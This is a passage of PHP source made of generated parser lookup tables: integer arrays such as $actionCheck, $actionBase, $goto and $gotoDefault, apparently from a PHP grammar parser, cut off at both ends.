689, 1191, 1045, 320, 708, 149, 399, 157,-32766,-32766,-32766, 32,-32766, -79,-32766, 123, -32766, 716, 715,-32766, 893, 891, 682, -153,-32766,-32766, -32766, 716, 715, 891,-32766,-32766, 124, 881, 129, 74, -32766, 411, 130, 320, -524, -524, 143, 141, -75,-32766, 158, -529, -529, 320, 27, 691, 159, 881, 160, -524, 161, 294, 295, 698, 368, 369, 807, -73,-32766, -72, 1222, -524, 373, 374, 1191, 893, -71, 682, -529, 73, -70,-32766,-32766,-32766, -69,-32766, -68,-32766, 125,-32766, 630, 631,-32766, -67, -66, -47, -51,-32766,-32766,-32766, -18, 147, 271,-32766,-32766, 277, 697, 700, 881,-32766, 411, 890, 893, 146, 682, 282, 881, 907,-32766, 281, 513, 514, 286, 1212, 1213, 1214, 1215, 1209, 1210, 326, 131, 145, 939, 287, 682, 1216, 1211, 109, 270,-32766, 798, 807,-32766, 662, 639, 1191, 657, 72, 675, 1075, 317, 320,-32766,-32766,-32766, 1305,-32766, 301,-32766, 628, -32766, 431, 543,-32766,-32766, 923, 555, 924,-32766,-32766, -32766, 1229, 549,-32766,-32766,-32766, -4, 891, -490, 1191, -32766, 411, 644, 893, 299, 682,-32766,-32766,-32766,-32766, -32766, 893,-32766, 682,-32766, 13, 1231,-32766, 452, 480, 645, 909,-32766,-32766,-32766,-32766, 658, -480,-32766,-32766, 0, 1191, 0, 0,-32766, 411, 0, 298,-32766,-32766, -32766, 305,-32766,-32766,-32766, 0,-32766, 0, 806,-32766, 0, 0, 0, 475,-32766,-32766,-32766,-32766, 0, 7, -32766,-32766, 16, 1191, 561, 596,-32766, 411, 1219, 891, -32766,-32766,-32766, 362,-32766,-32766,-32766, 818,-32766, -267, 881,-32766, 39, 293, 0, 0,-32766,-32766,-32766, 40, 705, 706,-32766,-32766, 872, 963, 940, 947,-32766, 411, 937, 948, 365, 870, 427, 891, 935,-32766, 1049, 291, 1244, 1052, 1053, -111, -111, 1050, 1051, 1057, -560, 1262, 1296, 633, 0, 826, -111, -111, -111, -111, 33, 315, -32766, 361, 683, 686, 690, 692, 1191, 693, 694, 695, 699, 685, 320,-32766,-32766,-32766, 9,-32766, 702,-32766, 868,-32766, 881, 1300,-32766, 893, 1302, 682, -4,-32766, -32766,-32766, 829, 828, 837,-32766,-32766, 916, -242, -242, -242,-32766, 411, 955, 365, 27, 836, 1301, 915, 917, -32766, 914, 1177, 900, 910, -111, -111, 807, 881, 898, 945, 1222, 946, 1299, 1256, 867, -111, -111, -111, -111, 1245, 1263, 1269, 1272, -241, -241, -241, -558, -532, -531, 365, -530, 1, 28, 29, 38, 42, 46, 71, 0, 75, -111, -111, 76, 77, 78, 79, 893, 80, 682, -242, 867, -111, -111, -111, -111, 142, 152, 156, 245, 322, 347, 514, 348, 1212, 1213, 1214, 1215, 1209, 1210, 349, 350, 351, 352, 353, 354, 1216, 1211, 355, 356, 357, 359, 428, 893, -265, 682, -241, -264, 72, 0, 18, 317, 320, 19, 20, 21, 23, 398, 471, 472, 479, 482, 483, 484, 485, 489, 490, 491, 498, 669, 1202, 1145, 1220, 1019, 1018, 1181, -269, -103, 17, 22, 26, 290, 397, 589, 593, 620, 674, 1149, 1197, 1146, 1275, 0, -494, 1162, 0, 1223 ); protected $actionCheck = array( 2, 3, 4, 5, 6, 7, 0, 9, 10, 11, 12, 13, 106, 1, 108, 31, 9, 10, 11, 44, 45, 46, 47, 48, 49, 50, 51, 52, 116, 117, 118, 119, 120, 121, 122, 37, 38, 30, 116, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 117, 118, 9, 10, 57, 9, 10, 11, 137, 138, 155, 128, 129, 130, 131, 106, 107, 8, 71, 72, 73, 74, 75, 76, 77, 116, 30, 80, 32, 33, 34, 35, 36, 1, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 30, 80, 136, 137, 138, 139, 140, 141, 142, 143, 144, 51, 1, 161, 101, 80, 150, 151, 152, 8, 154, 9, 10, 11, 2, 3, 4, 5, 6, 7, 164, 9, 10, 11, 12, 13, 123, 9, 10, 11, 80, 161, 30, 83, 32, 33, 34, 35, 36, 37, 38, 116, 117, 118, 119, 120, 121, 122, 30, 37, 38, 106, 107, 1, 9, 10, 11, 1, 53, 54, 55, 116, 57, 1, 8, 14, 155, 156, 157, 57, 9, 10, 11, 162, 69, 30, 116, 32, 33, 119, 120, 121, 122, 71, 72, 73, 74, 75, 76, 77, 8, 30, 80, 32, 33, 34, 35, 137, 138, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 84, 70, 136, 137, 138, 139, 140, 141, 142, 143, 144, 9, 9, 10, 11, 160, 150, 151, 152, 164, 154, 2, 3, 4, 5, 6, 7, 1, 9, 10, 11, 12, 13, 30, 8, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 116, 57, 14, 9, 10, 11, 134, 135, 161, 8, 164, 160, 1, 69, 167, 164, 159, 57, 161, 80, 8, 137, 138, 1, 30, 1, 32, 33, 34, 1, 14, 71, 72, 73, 74, 75, 76, 77, 31, 1, 80, 30, 70, 30, 9, 10, 11, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 8, 156, 136, 137, 138, 139, 140, 141, 142, 143, 144, 8, 134, 135, 8, 8, 150, 151, 152, 2, 3, 4, 5, 6, 7, 97, 82, 149, 31, 12, 13, 101, 15, 116, 8, 116, 106, 80, 108, 161, 85, 163, 106, 113, 108, 8, 116, 117, 118, 119, 120, 121, 122, 123, 137, 138, 137, 138, 14, 9, 10, 11, 80, 82, 14, 8, 85, 50, 51, 50, 51, 52, 128, 56, 1, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 70, 70, 71, 72, 73, 74, 162, 159, 97, 78, 79, 80, 116, 82, 1, 146, 158, 86, 87, 88, 89, 163, 91, 31, 93, 167, 95, 156, 14, 98, 99, 35, 161, 37, 103, 104, 105, 106, 107, 1, 109, 110, 147, 148, 31, 160, 115, 116, 8, 164, 1, 155, 156, 157, 70, 124, 125, 126, 8, 70, 1, 70, 37, 38, 134, 135, 8, 136, 137, 82, 139, 140, 141, 142, 143, 144, 145, 8, 35, 149, 37, 164, 151, 152, 164, 164, 155, 156, 157, 158, 1, 161, 8, 163, 163, 82, 165, 166, 167, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 75, 76, 77, 75, 76, 134, 135, 31, 8, 84, 134, 135, 134, 135, 1, 90, 8, 92, 82, 94, 149, 96, 37, 38, 8, 149, 80, 149, 128, 59, 60, 106, 161, 8, 1, 161, 8, 161, 159, 161, 70, 167, 117, 118, 31, 8, 106, 70, 108, 106, 14, 108, 127, 128, 129, 130, 131, 70, 158, 74, 84, 75, 76, 163, 31, 80, 159, 167, 161, 101, 102, 14, 87, 88, 89, 14, 91, 31, 93, 16, 95, 37, 38, 98, 159, 1, 161, 162, 103, 104, 105, 37, 38, 1, 109, 110, 16, 84, 16, 163, 115, 116, 16, 167, 134, 135, 16, 161, 31, 124, 16, 134, 135, 167, 70, 31, 16, 84, 16, 149, 16, 134, 135, 31, 106, 107, 82, 31, 74, 31, 86, 161, 106, 107, 80, 159, 31, 161, 161, 154, 31, 87, 88, 89, 31, 91, 31, 93, 161, 95, 111, 112, 98, 31, 31, 31, 31, 103, 104, 105, 31, 31, 31, 109, 110, 31, 31, 31, 84, 115, 116, 31, 159, 31, 161, 37, 84, 38, 124, 35, 136, 137, 35, 139, 140, 141, 142, 143, 144, 35, 31, 70, 159, 37, 161, 151, 152, 69, 57, 74, 80, 82, 85, 77, 90, 80, 94, 163, 92, 82, 166, 167, 87, 88, 89, 83, 91, 114, 93, 113, 95, 128, 85, 98, 116, 128, 153, 128, 103, 104, 105, 146, 89, 74, 109, 110, 0, 1, 149, 80, 115, 116, 96, 159, 133, 161, 87, 88, 89, 124, 91, 159, 93, 161, 95, 97, 146, 98, 97, 97, 100, 154, 103, 104, 105, 74, 100, 149, 109, 110, -1, 80, -1, -1, 115, 116, -1, 132, 87, 88, 89, 132, 91, 124, 93, -1, 95, -1, 155, 98, -1, -1, -1, 102, 103, 104, 105, 74, -1, 149, 109, 110, 149, 80, 81, 153, 115, 116, 160, 1, 87, 88, 89, 149, 91, 124, 93, 160, 95, 164, 84, 98, 159, 158, -1, -1, 103, 104, 105, 159, 159, 159, 109, 110, 159, 159, 159, 159, 115, 116, 159, 159, 106, 159, 108, 1, 159, 124, 159, 113, 160, 159, 159, 117, 118, 159, 159, 159, 163, 160, 160, 160, -1, 127, 128, 129, 130, 131, 161, 161, 74, 161, 161, 161, 161, 161, 80, 161, 161, 161, 161, 161, 167, 87, 88, 89, 150, 91, 162, 93, 162, 95, 84, 162, 98, 159, 162, 161, 162, 103, 104, 105, 162, 162, 162, 109, 110, 162, 100, 101, 102, 115, 116, 162, 106, 70, 162, 162, 162, 162, 124, 162, 162, 162, 162, 117, 118, 82, 84, 162, 162, 86, 162, 162, 162, 127, 128, 129, 130, 131, 162, 162, 162, 162, 100, 101, 102, 163, 163, 163, 106, 163, 163, 163, 163, 163, 163, 163, 163, -1, 163, 117, 118, 163, 163, 163, 163, 159, 163, 161, 162, 127, 128, 129, 130, 131, 163, 163, 163, 163, 163, 163, 137, 163, 139, 140, 141, 142, 143, 144, 163, 163, 163, 163, 163, 163, 151, 152, 163, 163, 163, 163, 163, 159, 164, 161, 162, 164, 163, -1, 164, 166, 167, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, 164, -1, 165, 165, -1, 166 ); protected $actionBase = array( 0, -2, 154, 565, 876, 948, 984, 514, 53, 398, 837, 307, 307, 67, 307, 307, 307, 653, 724, 724, 732, 724, 616, 673, 204, 204, 204, 625, 625, 625, 625, 694, 694, 831, 831, 863, 799, 765, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 936, 375, 519, 369, 701, 1017, 1023, 1019, 1024, 1015, 1014, 1018, 1020, 1025, 911, 912, 782, 918, 919, 920, 921, 1021, 841, 1016, 1022, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 290, 491, 44, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, 160, 160, 160, 187, 684, 684, 341, 203, 610, 47, 985, 985, 985, 985, 985, 985, 985, 985, 985, 985, 144, 144, 7, 7, 7, 7, 7, 371, -25, -25, -25, -25, 540, 385, 102, 576, 358, 45, 377, 460, 460, 360, 231, 231, 231, 231, 231, 231, -78, -78, -78, -78, -78, -66, 319, 457, -94, 396, 423, 586, 586, 586, 586, 423, 423, 423, 423, 750, 1029, 423, 423, 423, 511, 516, 516, 518, 147, 147, 147, 516, 583, 777, 422, 583, 422, 194, 92, 748, -40, 87, 412, 748, 617, 627, 198, 143, 773, 658, 773, 1013, 757, 764, 717, 838, 860, 1026, 800, 908, 806, 910, 219, 686, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 1012, 855, 552, 1013, 286, 855, 855, 855, 552, 552, 552, 552, 552, 552, 552, 552, 552, 552, 679, 286, 568, 626, 286, 794, 552, 375, 758, 375, 375, 375, 375, 958, 375, 375, 375, 375, 375, 375, 970, 769, -16, 375, 519, 12, 12, 547, 83, 12, 12, 12, 12, 375, 375, 375, 658, 781, 713, 666, 792, 448, 781, 781, 781, 438, 444, 193, 447, 570, 523, 580, 760, 760, 767, 929, 929, 760, 759, 760, 767, 934, 760, 929, 805, 359, 648, 577, 611, 656, 929, 478, 760, 760, 760, 760, 665, 760, 467, 433, 760, 760, 785, 774, 789, 60, 929, 929, 929, 789, 596, 751, 751, 751, 811, 812, 746, 771, 567, 498, 677, 348, 779, 771, 771, 760, 640, 746, 771, 746, 771, 747, 771, 771, 771, 746, 771, 759, 585, 771, 734, 668, 224, 771, 6, 935, 937, 354, 940, 932, 941, 979, 942, 943, 851, 956, 933, 945, 931, 930, 780, 703, 720, 790, 729, 928, 768, 768, 768, 925, 768, 768, 768, 768, 768, 768, 768, 768, 703, 788, 804, 733, 783, 960, 722, 726, 725, 868, 1027, 1028, 737, 739, 958, 1006, 953, 803, 730, 992, 967, 866, 848, 968, 969, 993, 1007, 1008, 871, 761, 874, 880, 797, 971, 852, 768, 935, 943, 933, 945, 931, 930, 763, 762, 753, 755, 749, 745, 736, 738, 770, 1009, 924, 835, 830, 970, 926, 703, 839, 986, 847, 994, 995, 850, 801, 772, 840, 881, 972, 975, 976, 853, 1010, 810, 989, 795, 996, 802, 882, 997, 998, 999, 1000, 885, 854, 856, 857, 815, 754, 980, 786, 891, 335, 787, 796, 978, 363, 957, 858, 894, 895, 1001, 1002, 1003, 896, 954, 816, 990, 752, 991, 983, 817, 818, 485, 784, 778, 541, 676, 897, 899, 900, 955, 775, 766, 821, 822, 1011, 901, 697, 824, 740, 902, 1005, 742, 744, 756, 859, 793, 743, 798, 977, 776, 827, 907, 829, 832, 833, 1004, 836, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 458, 458, 458, 458, 458, 458, 307, 307, 307, 307, 0, 0, 307, 0, 0, 0, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 458, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 291, 423, 423, 291, 291, 0, 291, 423, 423, 423, 423, 423, 423, 423, 423, 423, 423, 291, 291, 291, 291, 291, 291, 291, 805, 147, 147, 147, 147, 423, 423, 423, 423, 423, -88, -88, 147, 147, 423, 423, 423, 423, 423, 423, 423, 423, 423, 423, 423, 423, 0, 0, 0, 286, 422, 0, 759, 759, 759, 759, 0, 0, 0, 0, 422, 422, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 286, 422, 0, 286, 0, 759, 759, 423, 805, 805, 314, 423, 0, 0, 0, 0, 286, 759, 286, 552, 422, 552, 552, 12, 375, 314, 608, 608, 608, 608, 0, 658, 805, 805, 805, 805, 805, 805, 805, 805, 805, 805, 805, 759, 0, 805, 0, 759, 759, 759, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 759, 0, 0, 929, 0, 0, 0, 0, 760, 0, 0, 0, 0, 0, 0, 760, 934, 0, 0, 0, 0, 0, 0, 759, 0, 0, 0, 0, 0, 0, 0, 0, 768, 801, 0, 801, 0, 768, 768, 768 ); protected $actionDefault = array( 3,32767, 103,32767,32767,32767,32767,32767,32767,32767, 32767,32767, 101,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767, 578, 578, 578, 578,32767,32767, 246, 103,32767,32767, 454, 372, 372, 372,32767,32767, 522, 522, 522, 522, 522, 522,32767, 32767,32767,32767,32767,32767, 454,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767, 101,32767, 32767,32767, 37, 7, 8, 10, 11, 50, 17, 310, 32767,32767,32767,32767, 103,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767, 571,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767, 458, 437, 438, 440, 441, 371, 523, 577, 313, 574, 370, 146, 325, 315, 234, 316, 250, 459, 251, 460, 463, 464, 211, 279, 367, 150, 401, 455, 403, 453, 457, 402, 377, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 375, 376, 456, 434, 433, 432, 399,32767, 32767, 400, 404, 374, 407,32767,32767,32767,32767,32767, 32767,32767,32767, 103,32767, 405, 406, 423, 424, 421, 422, 425,32767, 426, 427, 428, 429,32767,32767, 302, 32767,32767, 351, 349, 414, 415, 302,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767, 516, 431,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767, 103,32767, 101, 518, 396, 398, 486, 409, 410, 408, 378,32767, 493,32767, 103, 495, 32767,32767,32767, 112,32767,32767,32767, 517,32767, 524, 524,32767, 479, 101, 194,32767, 194, 194,32767,32767, 32767,32767,32767,32767,32767, 585, 479, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111, 111,32767, 194, 111,32767,32767,32767, 101, 194, 194, 194, 194, 194, 194, 194, 194, 194, 194, 189,32767, 260, 262, 103, 539, 194,32767, 498,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767, 491,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767, 479, 419, 139,32767, 139, 524, 411, 412, 413, 481, 524, 524, 524, 298, 281,32767,32767,32767,32767, 496, 496, 101, 101, 101, 101, 491,32767,32767, 112, 100, 100, 100, 100, 100, 104, 102,32767,32767,32767, 32767, 100,32767, 102, 102,32767,32767, 217, 208, 215, 102,32767, 543, 544, 215, 102, 219, 219, 219, 239, 239, 470, 304, 102, 100, 102, 102, 196, 304, 304, 32767, 102, 470, 304, 470, 304, 198, 304, 304, 304, 470, 304,32767, 102, 304, 210, 100, 100, 304,32767, 32767,32767, 481,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767, 511,32767, 528, 541, 417, 418, 420, 526, 442, 443, 444, 445, 446, 447, 448, 450, 573,32767, 485,32767,32767,32767,32767, 324, 583,32767, 583,32767,32767,32767,32767,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767, 584,32767, 524,32767,32767,32767,32767, 416, 9, 76, 43, 44, 52, 58, 502, 503, 504, 505, 499, 500, 506, 501,32767,32767, 507, 549,32767,32767, 525, 576,32767,32767,32767,32767,32767,32767, 139,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767, 511,32767, 137,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767, 524,32767,32767,32767, 300, 301,32767,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767, 524,32767,32767,32767, 283, 284,32767, 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767,32767, 278,32767,32767, 366,32767,32767,32767, 32767, 345,32767,32767,32767,32767,32767,32767,32767,32767, 32767,32767, 152, 152, 3, 3, 327, 152, 152, 152, 327, 152, 327, 327, 327, 152, 152, 152, 152, 152, 152, 272, 184, 254, 257, 239, 239, 152, 337, 152 ); protected $goto = array( 194, 194, 670, 422, 643, 463, 1264, 1265, 1022, 416, 308, 309, 329, 563, 314, 421, 330, 423, 622, 801, 678, 637, 586, 651, 652, 653, 165, 165, 165, 165, 218, 195, 191, 191, 175, 177, 213, 191, 191, 191, 191, 191, 192, 192, 192, 192, 192, 192, 186, 187, 188, 189, 190, 215, 213, 216, 521, 522, 412, 523, 525, 526, 527, 528, 529, 530, 531, 532, 1091, 166, 167, 168, 193, 169, 170, 171, 164, 172, 173, 174, 176, 212, 214, 217, 235, 238, 241, 242, 244, 255, 256, 257, 258, 259, 260, 261, 263, 264, 265, 266, 274, 275, 311, 312, 313, 417, 418, 419, 568, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 178, 234, 179, 196, 197, 198, 236, 186, 187, 188, 189, 190, 215, 1091, 199, 180, 181, 182, 200, 196, 183, 237, 201, 199, 163, 202, 203, 184, 204, 205, 206, 185, 207, 208, 209, 210, 211, 323, 323, 323, 323, 827, 608, 608, 824, 547, 538, 342, 1221, 1221, 1221, 1221, 1221, 1221, 1221, 1221, 1221, 1221, 1239, 1239, 288, 288, 288, 288, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, 388, 538, 547, 556, 557, 395, 566, 588, 602, 603, 832, 825, 880, 875, 876, 889, 15, 833, 877, 830, 878, 879, 831, 799, 251, 251, 883, 919, 992, 1000, 1004, 1001, 1005, 1237, 1237, 938, 1043, 1039, 1040, 1237, 1237, 1237, 1237, 1237, 1237, 1237, 1237, 1237, 1237, 858, 248, 248, 248, 248, 250, 252, 533, 533, 533, 533, 487, 590, 488, 1190, 1190, 997, 1190, 997, 494, 1290, 1290, 560, 997, 997, 997, 997, 997, 997, 997, 997, 997, 997, 997, 997, 1261, 1261, 1290, 1261, 340, 1190, 930, 402, 677, 1279, 1190, 1190, 1190, 1190, 959, 345, 1190, 1190, 1190, 1271, 1271, 1271, 1271, 606, 640, 345, 345, 1273, 1273, 1273, 1273, 820, 820, 805, 896, 884, 840, 885, 897, 345, 345, 5, 345, 6, 1306, 384, 535, 535, 559, 535, 415, 852, 597, 1257, 839, 540, 524, 524, 345, 1289, 1289, 642, 524, 524, 524, 524, 524, 524, 524, 524, 524, 524, 445, 805, 1140, 805, 1289, 932, 932, 932, 932, 1063, 1064, 445, 926, 933, 386, 390, 548, 587, 591, 1030, 1292, 331, 554, 1259, 1259, 1030, 704, 621, 623, 823, 641, 1250, 319, 303, 660, 664, 973, 668, 676, 969, 429, 553, 962, 936, 936, 934, 936, 703, 601, 537, 971, 966, 343, 344, 663, 817, 595, 609, 612, 613, 614, 615, 634, 635, 636, 680, 439, 1186, 845, 454, 454, 439, 439, 1266, 1267, 820, 901, 1079, 454, 394, 539, 551, 1183, 605, 540, 539, 842, 551, 978, 272, 387, 618, 619, 981, 536, 536, 844, 707, 646, 957, 567, 457, 458, 459, 838, 850, 254, 254, 1297, 1298, 400, 401, 976, 976, 464, 649, 1182, 650, 1028, 404, 405, 406, 1187, 661, 424, 1032, 407, 564, 600, 815, 338, 424, 854, 848, 853, 841, 1027, 1031, 1009, 1002, 1006, 1003, 1007, 1185, 941, 1188, 1247, 1248, 943, 0, 1074, 439, 439, 439, 439, 439, 439, 439, 439, 439, 439, 439, 0, 468, 439, 585, 1056, 931, 681, 667, 667, 0, 495, 673, 1054, 1171, 912, 0, 0, 1172, 1175, 913, 1176, 0, 0, 0, 0, 0, 0, 1072, 857 ); protected $gotoCheck = array( 42, 42, 72, 65, 65, 166, 166, 166, 119, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 7, 9, 84, 122, 84, 84, 84, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, 23, 23, 23, 23, 15, 104, 104, 26, 75, 75, 93, 104, 104, 104, 104, 104, 104, 104, 104, 104, 104, 160, 160, 24, 24, 24, 24, 160, 160, 160, 160, 160, 160, 160, 160, 160, 160, 75, 75, 75, 75, 75, 75, 75, 75, 75, 75, 15, 27, 15, 15, 15, 15, 75, 15, 15, 15, 15, 15, 15, 6, 5, 5, 15, 87, 87, 87, 87, 87, 87, 161, 161, 49, 15, 15, 15, 161, 161, 161, 161, 161, 161, 161, 161, 161, 161, 45, 5, 5, 5, 5, 5, 5, 103, 103, 103, 103, 147, 103, 147, 72, 72, 72, 72, 72, 147, 173, 173, 162, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 72, 122, 122, 173, 122, 169, 72, 89, 89, 89, 171, 72, 72, 72, 72, 99, 14, 72, 72, 72, 9, 9, 9, 9, 55, 55, 14, 14, 122, 122, 122, 122, 22, 22, 12, 72, 64, 35, 64, 72, 14, 14, 46, 14, 46, 14, 61, 19, 19, 100, 19, 13, 35, 13, 122, 35, 14, 163, 163, 14, 172, 172, 63, 163, 163, 163, 163, 163, 163, 163, 163, 163, 163, 19, 12, 143, 12, 172, 19, 19, 19, 19, 136, 136, 19, 19, 19, 58, 58, 58, 58, 58, 122, 172, 29, 48, 122, 122, 122, 48, 48, 48, 25, 48, 14, 159, 159, 48, 48, 48, 48, 48, 48, 109, 9, 25, 25, 25, 25, 25, 25, 9, 25, 25, 25, 93, 93, 14, 18, 79, 79, 79, 79, 79, 79, 79, 79, 79, 79, 23, 20, 39, 141, 141, 23, 23, 168, 168, 22, 17, 17, 141, 28, 9, 9, 152, 17, 14, 9, 37, 9, 17, 24, 9, 83, 83, 106, 24, 24, 17, 95, 17, 17, 9, 9, 9, 9, 17, 9, 5, 5, 9, 9, 80, 80, 103, 103, 149, 80, 17, 80, 121, 80, 80, 80, 20, 80, 113, 124, 80, 2, 2, 20, 80, 113, 41, 9, 16, 16, 16, 16, 113, 113, 113, 113, 113, 14, 16, 20, 20, 20, 92, -1, 139, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, -1, 82, 23, 8, 8, 16, 8, 8, 8, -1, 8, 8, 8, 78, 78, -1, -1, 78, 78, 78, 78, -1, -1, -1, -1, -1, -1, 16, 16 ); protected $gotoBase = array( 0, 0, -203, 0, 0, 221, 208, 10, 512, 7, 0, 0, 24, 1, 5, -174, 47, -23, 105, 61, 38, 0, -10, 158, 181, 379, 164, 205, 102, 84, 0, 0, 0, 0, 0, -43, 0, 107, 0, 104, 0, 54, -1, 0, 0, 235, -384, 0, -307, 210, 0, 0, 0, 0, 0, 266, 0, 0, 324, 0, 0, 286, 0, 103, 298, -236, 0, 0, 0, 0, 0, 0, -6, 0, 0, -167, 0, 0, 129, 62, -14, 0, 53, -22, -669, 0, 0, -52, 0, -11, 0, 0, 68, -299, 0, 52, 0, 0, 0, 262, 288, 0, 0, 227, -73, 0, 87, 0, 0, 118, 0, 0, 0, 209, 0, 0, 0, 0, 0, 6, 0, 108, 15, 0, 46, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 91, 0, 0, 69, 0, 390, 0, 86, 0, 0, 0, -224, 0, 37, 0, 0, 77, 0, 0, 0, 0, 0, 0, 70, -57, -8, 241, 99, 0, 0, -290, 0, 65, 257, 0, 261, 39, -35, 0, 0 ); protected $gotoDefault = array( -32768, 499, 711, 4, 712, 905, 788, 797, 583, 515, 679, 339, 610, 413, 1255, 882, 1078, 565, 816, 1199, 1207, 446, 819, 324, 701, 864, 865, 866, 391, 376, 382, 389, 632, 611, 481, 851, 442, 843, 473, 846, 441, 855, 162, 410, 497, 859, 3, 861, 542, 892, 377, 869, 378, 